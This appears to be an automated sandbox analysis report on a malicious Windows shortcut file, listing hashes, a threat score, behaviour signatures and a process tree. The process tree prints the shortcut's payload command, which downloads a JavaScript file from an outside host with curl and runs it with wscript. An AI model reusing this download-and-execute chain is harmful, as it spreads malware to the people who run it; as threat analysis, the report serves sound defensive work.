d4f10179feaae49a3fdf52fca2451a2d238ea4d94c8f72c9230a9bce45f7ab55

Analysis

max time kernel
38s
max time network
41s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
08-09-2022 18:57

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General

Target

doc/Valid155.lnk
Size

2KB
MD5

41c12342c2571e0030be5e2d167a836e
SHA1

a54d3181fddc3ab15cb482865a255a74052c4e56
SHA256

2b692ca392558fca23f219383cc7c23c4b3dca641a3e49c9b48f096df091273e
SHA512

4aeb1575dd294455b9f585b618ce7d3526e771a5fc98ea22b3231c5cc253e9f3bd2e0adfc4aefe4f566d62955f2cfe565ea5099f19bea6b908490f2ec7d8a42e

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1764 wrote to memory of 1980	1764	cmd.exe	cmd.exe
PID 1764 wrote to memory of 1980	1764	cmd.exe	cmd.exe
PID 1764 wrote to memory of 1980	1764	cmd.exe	cmd.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\doc\Valid155.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1764

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /q /c echo 'HI_U' && MD "C:\Users\Admin\AppData\Local\ur\B4O" && curl.exe --output C:\Users\Admin\AppData\Local\ur\B4O\enhrP.s_1L.QH0w.js https://purepowerinc.net/nluGZ/082.html && cd "C:\Users\Admin\AppData\Local\ur\B4O" && wscript enhrP.s_1L.QH0w.js && echo "Nj"
2⤵
PID:1980

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1764-54-0x000007FEFB871000-0x000007FEFB873000-memory.dmp

Filesize
8KB

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memory/1980-88-0x0000000000000000-mapping.dmp

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